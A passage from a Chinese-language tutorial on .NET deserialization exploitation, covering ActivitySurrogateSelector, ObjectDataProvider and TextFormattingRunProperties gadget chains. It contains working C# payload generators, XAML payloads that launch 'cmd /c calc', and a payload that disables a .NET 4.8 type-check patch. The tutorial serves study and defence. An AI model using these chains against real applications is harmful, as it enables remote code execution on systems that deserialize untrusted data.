IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
// DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
DesignerVerb verb = new DesignerVerb("XYZ", null);
// Need to insert IDictionary using reflection.
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
// Pre-load objects, this ensures they're fixed up before building the hash table.
List<object> ls = new List<object>();
ls.Add(e1);
ls.Add(e2);
ls.Add(e3);
ls.Add(pds);
ls.Add(verb);
ls.Add(dict);
Hashtable ht = new Hashtable();
// Add two entries to table.
ht.Add(verb, "Hello");
ht.Add("Dummy", "Hello2");
FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
object bucket = keys.GetValue(i);
object key = fi_key.GetValue(bucket);
if (key is string)
{
fi_key.SetValue(bucket, verb);
keys.SetValue(bucket, i);
break;
}
}
fi_keys.SetValue(ht, keys);
ls.Add(ht);
BinaryFormatter fmt1 = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt1.SurrogateSelector = new MySurrogateSelector();
fmt1.Serialize(stm, ls);
//info.AddValue("DataSet.Tables_0", stm.ToArray());
/*
BinaryFormatter fmt2 = new BinaryFormatter();
stm.Seek(0, SeekOrigin.Begin);
fmt2.Deserialize(stm);
*/
return stm.ToArray();
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
System.Diagnostics.Trace.WriteLine("In GetObjectData");
info.SetType(typeof(System.Windows.Forms.AxHost.State));
info.AddValue("PropertyBagBinary", GadgetChains());
}
}
class Program
{
static void Main(string[] args)
{ System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
BinaryFormatter fmt1 = new BinaryFormatter();
BinaryFormatter fmt2 = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
PayloadClass test = new PayloadClass();
fmt1.SurrogateSelector = new MySurrogateSelector();
fmt1.Serialize(stm, test);
stm.Seek(0, SeekOrigin.Begin);
fmt2.Deserialize(stm);
}
}
}
基本上和我们前面所讲的一致。
特殊的是我们构造了一个PayloadClass类,然后序列化PayloadClass 实例,作为最终的payload。
我们在PayloadClass类的GetObjectData() 函数里设置如下:
public void GetObjectData(SerializationInfo info, StreamingContext context){
System.Diagnostics.Trace.WriteLine("In GetObjectData");
info.SetType(typeof(System.Windows.Forms.AxHost.State));
info.AddValue("PropertyBagBinary", GadgetChains());
}
关键的就是 info.SetType() 和 info.AddValue() 函数的调用。我们之前了解过,GetObjectData用于在序列化时 从对象实例里提取数据。那么这里就相当于序列化的实际上是一个 System.Windows.Forms.AxHost.State类型,并且其PropertyBagBinary 字段被设置为我们生成的payload链。为什么要这么做?为什么要多加一层?
看过AxHost.State源码就明白了:
/** * Constructor used in deserialization
*/
protected State(SerializationInfo info, StreamingContext context) {
SerializationInfoEnumerator sie = info.GetEnumerator();
if (sie == null) {
return;
}
for (; sie.MoveNext();) {
if (String.Compare(sie.Name, "Data", true, CultureInfo.InvariantCulture) == 0) {
...
}
else if (String.Compare(sie.Name, "PropertyBagBinary", true, CultureInfo.InvariantCulture) == 0) {
try {
Debug.WriteLineIf(AxHTraceSwitch.TraceVerbose, "Loading up property bag from stream...");
byte[] dat = (byte[])sie.Value;
if (dat != null) {
this.propBag = new PropertyBagStream();
propBag.Read(new MemoryStream(dat));
}
}
catch (Exception e) {
Debug.Fail("failure: " + e.ToString());
}
}
}
}
开头注释已经表明,该State函数用于反序列化时的重构。从SerializationInfo里提取 PropertyBagBinary 字段的值并发送给了proBag.Read()函数。我们再来看 propBag.Read 函数:
internal void Read(Stream stream) { BinaryFormatter formatter = new BinaryFormatter();
try {
bag = (Hashtable)formatter.Deserialize(stream);
}
catch {
// Error reading. Just init an empty hashtable.
bag = new Hashtable();
}
}
很明显了,这里将PropertyBagBinary的值传给了 BinaryFormatter.Deserialize() 。特殊的是反序列化外面加了一个 try catch,这样的好处就是当我们的payload在反序列化时发生的异常不会被转发给上一层。
当然,我们也可以在 GadgetChains() 函数末尾,直接反序列化生成的 payload,一样可以执行代码,只是执行完代码后会报错而已。这也体现了外面再增加一层的作用。
0x50 补丁与绕过
在前文代码中,无论是序列化还是反序列化之前,我们都掉调用了以下代码:
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
这是因为从 .NET 4.8 开始,微软修复了ActivitySurrogateSelector 的漏洞。具体细节在ObjectSurrogate.GetObjectData() 函数里:
private sealed class ObjectSurrogate : ISerializationSurrogate{
public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
{
// We only use ObjectSurrogate for ActivityBind and DependecyObject
if (!AppSettings.DisableActivitySurrogateSelectorTypeCheck &&
!(obj is ActivityBind) &&
!(obj is DependencyObject)
)
{
throw new ArgumentException("obj");
}
...
}
}
可以看到这里有一个检查:如果没有设置AppSettings.DisableActivitySurrogateSelectorTypeCheck 标志,且被序列化的类型既不是ActivityBind 又不是 DependencyObject ,则直接抛出异常。
所以我们前面直接使用ConfigurationManager 设置了这个标志位为true,表示关闭检查。但是在实际环境中又该怎么办呢?
Nick Landers 在《Re-Animating ActivitySurrogateSelector》一文中设计了关闭该检查的payload。该payload已被整合到 ysoserial.net 工具中的ActivitySurrogateDisableTypeCheck 部件。
该payload的原理并不复杂,但设计到ObjectDataProvider、Xaml和TextFormattingRunProperties 多个知识点,所以我们将他放到第四章《TextFormattingRunProperties 工具链》里面讲解。
三.ObjectDataProvider工具链
ObjectDataProvider实例在经XmlSerializer之类的工具反序列化时,可以触发执行被包含类型的指定函数。
0x10 ObjectDataProvider介绍
ObjectDataProvider的官方介绍是:“包装和创建 可以用作绑定源的对象”。嗯,完全没明白。。。
那么先来一小段代码看一下 ObjectDataProvider的特点:
var objDat = new ObjectDataProvider();objDat.ObjectInstance = new System.Diagnostics.Process();
objDat.MethodParameters.Add("calc");
objDat.MethodName = "Start";
我们将ObjectDataProvider 实例的 ObjectInstance字段设置为一个Process实例,然后将MethodParameters 字段设置为"calc",然后将MethodName字段设置为"Start"。当你运行完这段代码,你会发现弹出了一个计算器。
看起来是似乎是以 ObjectInstance的值 为对象实例,以MethodParameters的值为方法,以MethodParameters的值为方法参数,进行了一次函数调用。
那么其触发函数执行原理是什么?这么设计的目的又是什么?
0x11 ObjectDataProvider 原理
使用dnspy调试,给要执行的函数下个断点:
查看调用堆栈,可以看到调用路径是 Refresh() -> BeginQuery() -> QueryWorker() -> InvokeMethodOnInstance() 。
InvokeMethodOnInstance() 函数名已经揭露了一切。查看一下它的代码:
object InvokeMethodOnInstance(out Exception e){
object data = null;
string error = null; // string that describes known error
e = null;
Debug.Assert(_objectType != null);
object[] parameters = new object[_methodParameters.Count];
_methodParameters.CopyTo(parameters, 0);
...
try
{
data = _objectType.InvokeMember(MethodName,
s_invokeMethodFlags, null, _objectInstance, parameters,
System.Globalization.CultureInfo.InvariantCulture);
};
...
}
通过反射调用了 MethodName字段中存储的目标函数。
通过调用路径我们知道,InvokeMethodOnInstance() 的调用源自于 Refresh() 函数。我们看一下 Refresh() 在什么情况下被调用:
类似于上面这种,在ObjectType、ObjectInstance、MethodName 属性的set方法中都调用Refresh() 函数。很明显,当我们修改或设置这些属性时,会触发调用Refresh() 函数,以进一步检查是否需要调用MethodName中设置的目标函数。
除了set方法里,还有以下两处地方调用了Refresh() 函数:
下面是ObjectDataProvider 的构造函数:
ParameterCollectionChanged 是一个委托类型:
internal delegate void ParameterCollectionChanged(ParameterCollection parameters);
而ParameterCollection() 类型则继承于 Collection<object> 类型,并且重载了其ClearItems()、 InsertItem()、RemoveItem()、SetItem()方法,在其中添加了对 OnCollectionChanged()的调用:
这样当ParameterCollection实例(如字段_methodParameters)调用Add方法时,就会调用InsertItem() 函数,进而调用OnCollectionChanged() 函数,再进而调用Refresh() 函数,然后就会检查是否需要执行目标函数了。
0x12 ObjectDataProvider 正常用法
看完ObjectDataProvider的特点和原理,我不禁要问这个类到底是用来干什么的?所谓 “包装和创建 可以用作绑定源的对象” 是什么意思?
首先推荐看这篇《WPF之Binding深入探讨》,看完后会对绑定有一个具体的理解。下面我来做一个简陋的总结:
我们以UI界面显示数据为例:数据源是相对于UI界面来说的。一个UI界面需要展示数据,该数据可能来自于某个类的某个属性。为了让该属性在变化时自动反映在UI界面上,我们采用Binding的方式将数据源与目标进行绑定。Biinding是一种自动机制,会监听数据源的PropertyChanged事件。当数据源的值发生变化时,就会激发PropertyChanged事件,Binding接收到事件后就会通知Binding的目标端(即UI界面)展示新的值。
如果数据源不是通过属性,而是通过方法暴漏给外界的时候,我们就使用ObjectDataProvider将其包装为数据源。所以ObjectDataProvider 会监测 MethodParameters 属性的修改,同时也会监测ObjectType、ObjectInstance、MethodName 的修改,以对方法的变化随时做出响应。当以上这些属性修改时,就会重新调用目标函数。
通过上面简陋的描述,我们算是对ObjectDataProvider 有了一个具体的认识:我们使用ObjectDataProvider 指定某个实例的某个方法,当添加或修改methodParameters 时就会触发执行目标函数了。如果我们在反序列化时也能触发目标函数的调用,就可以实现代码执行了。
0x20 序列化 ObjectDataProvider
0x21 不成功的尝试
尽管前辈们早已做出了完整的ObjectDataProvider利用链,但我还是想再做一些蹩脚的尝试。
首先我们知道 ObjectDataProvider类没有 [Seriable] 特性,所以它是一个不可序列化类,不能使用BinaryFormatter 之类的工具进行序列化(当然我们还可以使用XmlSerializer之类的工具进行序列化)。但我们在上一篇关于ActivitySurrogateSelectorGenerator工具链的文章中知道,使用 ObjectSurrogate 作为代理器可以序列化原本不可序列化的类。那如果我们使用这种方式去序列化 ObjectDataProvider 会怎么样呢?测试代码如下:
class MySurrogateSelector : SurrogateSelector{
public override ISerializationSurrogate GetSurrogate(Type type,
StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
static void Surrogatetest()
{
var objDat = new ObjectDataProvider();
objDat.ObjectInstance = new System.Diagnostics.Process();
objDat.MethodParameters.Add("calc");
objDat.MethodName = "Start";
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, objDat);
stm.Position = 0;
var fmt2 = new BinaryFormatter();
ObjectDataProvider result = (ObjectDataProvider)fmt2.Deserialize(stm);
//result.Refresh();
}
这里我直接用ObjectDataProvider封装了一个 Process 实例,并以“calc"为参数调用其Start函数。序列化能正常进行,反序列化也可以正常完成,但遗憾的是在反序列化完成后没有触发Start 函数的调用。根据前面的分析,我们可以猜测到应该是没有调用Refresh() 函数导致的,那么我们就需要调试一下看看BinaryFormatter 在反序列化时是如何给字段赋值的。
可以看到,这里的rtFieldInfo 指向了 ObjectDataProvider 的 _mehodName 字段,直接通过UnsafeSetValue 设置该字段的值。由于不是通过原始的属性或者Add方法添加值,导致了无法触发 Refresh() 函数,也就无法调用目标函数了。
0x22 使用XmlSerializer进行序列化
先了解一下XmlSerializer 的一般用法。
下面是我们自己写的一个Claculator类,我们使用XmlSerializer 序列化其实例。
[XmlRoot]public class Calculator
{
private string _name;
[XmlAttribute]
public string Name { get => _name; set => _name = value; }
public int Test(string arg1, string arg2)
{
Console.WriteLine("hello world\n");
return 1;
}
}
序列化代码:
static void normalXml(){
var cal = new Calculator();
cal.Name = "test";
TextWriter fs = new StreamWriter("./xmlser.txt");
XmlSerializer serializers = new XmlSerializer(typeof(Calculator));
serializers.Serialize(fs, cal);
fs.Close();
var fr = new FileStream("./xmlser.txt", FileMode.Open);
var deserializers = new XmlSerializer(typeof(Calculator));
var result = (Calculator)deserializers.Deserialize(fr);
Console.WriteLine(result.Name);
fr.Close();
}
上面的代码中我们以一个Calculator 实例为目标对象,对其进行序列化和反序列化。
这里有一个关键点就是以 XmlSerializer.XmlSerializer(Type) 的方式初始化XmlSerializer实例,需要传入被序列化对象的类型。根据官方文档,在使用这种构造函数时,XML 序列化基础结构会动态生成程序集以序列化和反序列化指定的类型。
在初始化XmlSerializer实例时,传入的Type类型参数保证了XmlSerializer 对序列化中涉及到的类型都已知,并生成相应的动态程序集。但是假如序列化目标对象的某个字段实际值是该字段声明类型的派生类型,比如,某字段声明为object类型(我们知道c#里所有类型都继承于object类型),然而实际值为其他类型,就会导致报错。下面我们序列化ObjectDataProvider 的时候就会遇到这种情况。
我们的目标是使用ObjectDataProvider 封装Calculator 实例,并在反序列化时自动触发Calculator 的Test 函数,下面是测试代码(为什么不直接用ObjectDataProvider 封装 System.Diagnostics.Process 实例?因为使用XmlSerializer 序列化时会报接口无法序列化的错误):
static void test(){
var objDat = new ObjectDataProvider();
objDat.ObjectInstance = new Calculator();
objDat.MethodParameters.Add("test1");
objDat.MethodParameters.Add("test2");
objDat.MethodName = "Test";
TextWriter fs = new StreamWriter("./xmlser.txt");
XmlSerializer serializers = new XmlSerializer(typeof(ObjectDataProvider));
serializers.Serialize(fs, objDat);
fs.Close();
var fr = new FileStream("./xmlser.txt", FileMode.Open);
var deserializers = new XmlSerializer(typeof(ObjectDataProvider));
var result = deserializers.Deserialize(fr);
fr.Close();
}
我们以ObjectDataProvider实例作为序列化目标对象,并且在初始化XmlSerializer时传入ObjectDataProvider类型。但是在执行时会报如下错误:
原因便是ObjectInstance 字段声明为object类型,但实际值为Calculator 类型,导致生成的动态程序集无法完成序列化:
这时有两种解决方法:
第一种就是使用XmlSirializer 其他的构造函数,使用以下语句进行初始化:
Type[] types = new Type[] { typeof(Calculator) };XmlSerializer serializers = new XmlSerializer(typeof(ObjectDataProvider), types);
传给构造函数的第二个参数表示要序列化的其他对象类型的 Type 数组。但是这种解决方法不适合反序列化漏洞利用,我们无法保证目标程序使用这种构造函数,也无法保证我们可以控制两个参数。
第二种就是找一个封装类型。比如下面这样的:
public class Wrapper<A, B>{
public A contentA{ get; set; }
public B contentB{ get; set; }
}
Wrapper是一个我们自己设想的类型,它使用了泛型的用法,这样我们可以任意设置它的两个属性的类型为我们需要的目标类型。在以typeof(Wrapper) 为参数初始化 XmlSerializer 时,就保证了传入需要的所有类型。测试代码如下:
static void ExpandTest(){
Wrapper<Calculator, ObjectDataProvider> wrapper = new Wrapper<Calculator, ObjectDataProvider>();
wrapper.contentB= new ObjectDataProvider();
wrapper.contentB.ObjectInstance = new Calculator();
wrapper.contentB.MethodName = "Test";
wrapper.contentB.MethodParameters.Add("first");
wrapper.contentB.MethodParameters.Add("second");
Console.WriteLine(typeof(Wrapper<Calculator, ObjectDataProvider>));
TextWriter fs = new StreamWriter("./ExpandTest.txt");
XmlSerializer serializers = new XmlSerializer(typeof(Wrapper<Calculator, ObjectDataProvider>));
serializers.Serialize(fs, wrapper);
fs.Close();
FileStream fr = new FileStream("./ExpandTest.txt", FileMode.Open);
var deserializers = new XmlSerializer(typeof(Wrapper<Calculator, ObjectDataProvider>));
deserializers.Deserialize(fr);
fr.Close();
}
上面的代码在反序列化时可以正常触发Calculator 的 Test函数。
在现实中,与我们设想的封装类型相似的就是 ExpandedWrapper类
[EditorBrowsable(EditorBrowsableState.Never)]public sealed class ExpandedWrapper<TExpandedElement, TProperty0> : ExpandedWrapper<TExpandedElement>
{
public ExpandedWrapper();
public TProperty0 ProjectedProperty0 { get; set; }
protected override object InternalGetExpandedPropertyValue(int nameIndex);
}
相似的封装过程如下:
static void ExpandTest(){
ExpandedWrapper<Calculator, ObjectDataProvider> wrapper = new ExpandedWrapper<Calculator, ObjectDataProvider>();
wrapper.ProjectedProperty0 = new ObjectDataProvider();
wrapper.ProjectedProperty0.ObjectInstance = new Calculator();
wrapper.ProjectedProperty0.MethodName = "Test";
wrapper.ProjectedProperty0.MethodParameters.Add("first");
wrapper.ProjectedProperty0.MethodParameters.Add("second");
TextWriter fs = new StreamWriter("./ExpandTest.txt");
Console.WriteLine(typeof(ExpandedWrapper<Calculator, ObjectDataProvider>));
XmlSerializer serializers = new XmlSerializer(typeof(ExpandedWrapper<Calculator, ObjectDataProvider>));
serializers.Serialize(fs, wrapper);
fs.Close();
FileStream fr = new FileStream("./ExpandTest.txt", FileMode.Open);
var deserializers = new XmlSerializer(typeof(ExpandedWrapper<Calculator, ObjectDataProvider>));
deserializers.Deserialize(fr);
fr.Close();
}
在第一次看到使用 ExpandedWrapper 来封装时,我很奇怪到底是什么在起作用使得XmlSerializer 能够正常序列化下去,后来才发现只是因为它是一个有两个类型参数的泛型类。假如需要,我们还可以找有3个、4个类型参数的泛型类,比如:
ExpandedWrapper
ExpandedWrapper
这个类最多支持8个类型参数
此时有一个问题无法忽略,为什么XmlSerializer 可以在反序列化ObjectDataProvider 的时候触发函数执行?之前用BinaryFormatte 时明明还不可以,根据我们对ObjectDataProvider 的了解,难道是反序列化时使用了Add方法去添加参数?
0x23 XmlSerializer反序列化细节
XmlSerializer 在初始化的时候会自动生成一个动态程序集加载在内容中,并调用该程序集里自动生成的代码完成反序列化过程。下面便是该程序集:
可以看到动态程序集里有一个XmlSerializationReaderExpandedWrapper2 类,专门用于在反序列化时读取数据。 相应的,也有一个XmlSerializationWriterExpandedWrapper2 类专门用于在序列化时写入数据。
下面我们看一下反序列化的过程:
在Read8_Item() 函数里,直接初始化了一个 ExpendedWrapper 实例,目前它还是空的,但是后续会往里填数据。这个实例就是反序列化生成的实例。
仍旧是在Read8_Item() 函数里, 这里调用Read7_ObjectDataProvider() 函数生成一个ObjectDataProvider 实例,并赋给了expandedWrapper 的 ProjectedProperty0 字段。所以Read7_ObjectDataProvider() 肯定是用于读取数据并初始化一个ObjectDataProvider实例,跟进去:
忽略无关的部分,我们可以看到,这里是通过Add方法来向MethodParameters 里添加参数的。
该Add方法会进入Collection 的Add方法,然后调用InsertItem() ,然后调用前面说过的OnCollectionChanged函数,然后就会调用Refresh()函数,进而检查是否需要调用目标 Test() 函数。当Add第二个参数时,就会调用Test 函数。
所以以上就是XmlSerializer 可以在反序列化ObjectDataProvider时触发函数执行的原因。
0x24 替换Claculator类
前面我们已经可以在反序列化时触发执行Calculator 类的Test 方法。但是现实中的目标环境是没有Calculator 类的,我们必须找到一个普遍使用的类,并且调用其某个函数(传给该函数的参数可控),可以实现代码执行(最理想的应当是Process类,但是它不能用)。
替换方案有多种选择,ysoserial.NET 里提供了LosFormatter 和 XamlReader 两种方式。
但是我仔细看了一下,发现它的思路是这样的,将Calculator 类替换为 LosFormatter 或者 XamlReader类,将要调用的函数指定为 LosFormatter 的 Deserializer函数 或者是XamlReader 的Parse 函数,然后将参数替换为LosFormattter 或者 XamlReader 的反序列化漏洞payload。
简单的说,就是在反序列化 XmlSerializer payload(本文的目标) 时,借助ObjectDataProvider 调用 LosFormatter 的反序列化函数,然后把LosFormatter 的反序列化Payload 传给这个函数,然后利用LosFormatter的反序列化漏洞执行代码,XamlReader 方案也是类似。
套娃啊,,,当你看过XamlReader 的反序列化payload后这个感觉会更强烈:
<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" > <ObjectDataProvider ObjectType = ""{x:Type sd:Process}"" MethodName=""Start"" x:Key=""powershell"">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c calc</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
很明显,这里XamlReader 的反序列化payload 也使用了ObjectDataProvider工具,确实挺套娃的。整个流程大概如下:
XmlSerializer类 -> Deserizalize方法 -> ObjectDataProvider封装 -> XamlReader类 -> Parse方法 -> ObjectDataProvider封装 -> Process类 -> start方法 -> calc
在借助ObjectDataProvider 生成payload时,使用XamlReader 与 XmlSerializer 最大不同就是XamlReader 可以序列化Process,所以生成它的payload就更加简单一些。 由于过程类似,这里我们就不再多说,主要是需要了解一下Xaml 语法。下面贴出一种生成Xaml payload的代码(ysoserial.net 中提供了多种方式生成XamlReader的Payload,想要了解的可以自己去看一下):
static void xamltest(){
var psi = new ProcessStartInfo();
psi.FileName = "calc";
psi.Arguments = "test";
// 去掉多余的环境变量
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
var p = new Process();
p.StartInfo = psi;
var obj = new ObjectDataProvider();
obj.MethodName = "Start";
obj.IsInitialLoadEnabled = false;
obj.ObjectInstance = p;
XmlWriterSettings settings = new XmlWriterSettings();
settings.Indent = true;
using (XmlWriter writer = XmlWriter.Create("test.xaml", settings))
{
System.Windows.Markup.XamlWriter.Save(obj, writer);
}
string text = File.ReadAllText("test.xaml");
Console.WriteLine(text);
}
看完上面的内容相信你已经可以写出生成XmlSerializer 反序列化Payload 的代码了,这个小任务就留给你自己完成吧。
在实际利用中,XmlSerializer反序列化漏洞的关键点是需要控制XmlSerializer 初始化时传进去的Type类型。
四.TextFormattingRunProperties 工具链
TextFormattingRunProperties 的特点就是将Xaml 的 payload 封装为BinaryFormatter 之类序列化器的payload
0x10 TextFormattingRunProperties 介绍
TextFormattingRunProperties 类位于命名空间:Microsoft.VisualStudio.Text.Formatting。其在Microsoft.VisualStudio.Text.UI.Wpf.dll 和 Microsoft.PowerShell.Editor.dll 程序集中都有实现,前者需要安装Visual Studio ,而后者则是PowerShell 自带。所以目标环境没有安装VS也是可以使用这个类的。
0x20 使用TextFormattingRunProperties 进行封装
使用TextFormattingRunProperties进行封装与我们在《ActivitySurrogateSelectorGenerator 工具链》中提到的AxHost.State 极其相似。原理上就是新建一个类型,借助GetObjectData() 来将源数据封装到TextFormattingRunProperties序列化数据里,下面是一个样例:
[Serializable]public class PayloadClass : ISerializable
{
string _xamlPayload;
public PayloadClass(string payload)
{
_xamlPayload = payload;
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(TextFormattingRunProperties));
info.AddValue("ForegroundBrush", _xamlPayload);
}
}
代码里我们新建了一个payloadClass 类,其继承于ISerializable。关于该接口,我们在《ActivitySurrogateSelectorGenerator 工具链》 有过详细介绍。该接口定义的GetObjectData() 方法用于在序列化时从对象里提取数据并存储到 SerializationInfo 对象里,然后再使用这个SerializationInfo 对象进行后续的序列化。
在这里的GetObjectData()方法里,我们直接调用SerializationInfo 的 SetType() 和 AddValue() 方法来设置类型和数据。但是我们将类型设置为 TextFormattingRunProperties,并添加了ForegroundBrush 字段,其值设置为xaml Payload。这样做的结果就是,当我们使用BinaryFormatter 去序列化PayloadClass 的实例时,生成的序列化数据和PayloadClass 完全没关系,而是只和我们设置的 TextFormattingRunProperties 类型有关。
下面是进行序列化的代码:
static string GenerateTextFormattingRunPropertiesPayload(){
string payload =
@"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" >
<ObjectDataProvider ObjectType = ""{x:Type sd:Process}"" MethodName=""Start"" x:Key=""powershell"">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c calc</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";
var pc = new PayloadClass(payload);
var bfmt = new BinaryFormatter();
var stm = new MemoryStream();
bfmt.Serialize(stm, pc);
return Convert.ToBase64String(stm.ToArray());
}
我们使用《ObjectDataProvider工具链》中提到的Xalm Payload 作为原始Payload,然后用 BinaryFormatter 去序列化 PayloadClass 实例。这样最终序列化出的结果就是 TextFormattingRunProperties封装过的 Xaml Payload。
但是这样做的理由是什么?
为什么要 用TextFormattingRunProperties 去封装 Xaml Payload?
为什么是 Xaml Payload?
为什么要将原始payload 存放在“ForegroundBrush” 字段中?
0x30 TextFormattingRunProperties 反序列化细节
使用以下代码去反序列化上一节生成的payload:
static void TestPayload(string payload){
var bfmt = new BinaryFormatter();
var stm = new MemoryStream(Convert.FromBase64String(payload));
bfmt.Deserialize(stm);
}
弹出计算器后会报一个错误,如下:
中间到底发生了什么?我们使用dnspy 调试一下:
发生异常时栈回溯如下:
我们重新调试,单步跟入SerializationInvoke(),发现进入了下面的这个函数:
很明显,这个函数用于在反序列化时重构TextFormattingRunProperties实例,数据都是从SerializationInfo 对象里提取的。重点在于这个 GetObjectFromSerializationInfo() 函数,根据字段名从 info 提取数据。我们进去看看:
这里就很简单了,提取出string 后直接交给XamlReader.Parse() 用于解析。XamlReader.Parse() 函数我们在《ObjectDataProvider工具链》里简单介绍过,借助ObjectDataProvider 的Xaml payload 可以实现代码执行。也就是说,我们在使用BinaryFormatter 反序列化 TextFormattingRunProperties 封装的数据时,最终会落到XamlReader 进行反序列化。所以TextFormattingRunProperties 的作用就是将Xaml Payload 封装为 BinaryFormatter(也包括losformatter、SoapFormatter) Payload,而且由于Xaml Payload较为短小的特点,生成的TextFormattingRunProperties payload 也是 BinaryFormatter payload中最短的。这就是我们为什么要使用TextFormattingRunProperties 封装Xaml payload。
那么为什么我们在VS中会报错呢?因为XamlReader.Parse() 解析出来的是一个ResourceDictionary 类型实例,我们将其赋值给Media.Brush 类型的变量,所以会导致报错。
0x40 ActivitySurrogateDisableTypeCheck 工具
在《ActivitySurrogateSelectorGenerator 工具链》 一章中我们曾经提到过ActivitySurrogateSelector 从.NET 4.8之后的补丁问题。
Nick Landers 在《Re-Animating ActivitySurrogateSelector》一文中设计了关闭该检查的payload。该payload已被整合到 ysoserial.net 工具中的ActivitySurrogateDisableTypeCheck 部件。这个部件就是利用了TextFormattingRunProperties 来封装Xaml Payload。封装的Xaml payload 如下,用于关闭 类型检查:
string xaml_payload = @"<ResourceDictionaryxmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s=""clr-namespace:System;assembly=mscorlib""
xmlns:c=""clr-namespace:System.Configuration;assembly=System.Configuration""
xmlns:r=""clr-namespace:System.Reflection;assembly=mscorlib"">
<ObjectDataProvider x:Key=""type"" ObjectType=""{x:Type s:Type}"" MethodName=""GetType"">
<ObjectDataProvider.MethodParameters>
<s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key=""field"" ObjectInstance=""{StaticResource type}"" MethodName=""GetField"">
<ObjectDataProvider.MethodParameters>
<s:String>disableActivitySurrogateSelectorTypeCheck</s:String>
<r:BindingFlags>40</r:BindingFlags>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key=""set"" ObjectInstance=""{StaticResource field}"" MethodName=""SetValue"">
<ObjectDataProvider.MethodParameters>
<s:Object/>
<s:Boolean>true</s:Boolean>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
<ObjectDataProvider x:Key=""setMethod"" ObjectInstance=""{x:Static c:ConfigurationManager.AppSettings}"" MethodName =""Set"">
<ObjectDataProvider.MethodParameters>
<s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String>
<s:String>true</s:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>"
我们使用TextFormattingRunProperties 封装上述Xaml Payload 后,就生成了一个新的payload。该Payload 可以使用BinaryFormatter 进行反序列化,作用就是将 AppSettings.DisableActivitySurrogateSelectorTypeCheck 标志设置为True。这样的话,对于类似BinaryFormatter 反序列化漏洞的地方,我们就可以先用一个payload 关闭类型检查,再用ActivitySurrogateSelector 的payload 实现代码执行了。
但是,如果你用ysoserial.net 的 ActivitySurrogateDisableTypeCheck 部件生成payload,你还是会遇到前面说的报错的问题。如果因为这个报错导致你无法继续下去怎么办?还记得我们在《ActivitySurrogateSelectorGenerator 工具链》中提到过的AxHost.State 吗,其作用就是将BinaryFormatter 格式的payload 封装一下,用于遮掩原来payload 在反序列化时的异常。所以你可以用AxHost.State 把生成的 ActivitySurrogateDisableTypeCheck payload 再封装一次,这样在关闭类型检查的时候就不会报错了。
五.附录:
[1] 工具链原作者 James Forshaw 文章:
https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html
[2] 微软官方文档 标准查询运算符概述
[3] 《Re-Animating ActivitySurrogateSelector》
https://silentbreaksecurity.com/re-animating-activitysurrogateselector/
[4] 使用XmlInclude或SoapInclude属性来指定静态未知的类型
https://www.ozkary.com/2012/11/the-type-was-not-expected-use.html
[5] WPF之Binding深入探讨
https://blog.csdn.net/fwj380891124/article/details/8107646
以上是 .Net 反序列化原理学习 的全部内容, 来源链接: utcz.com/p/199792.html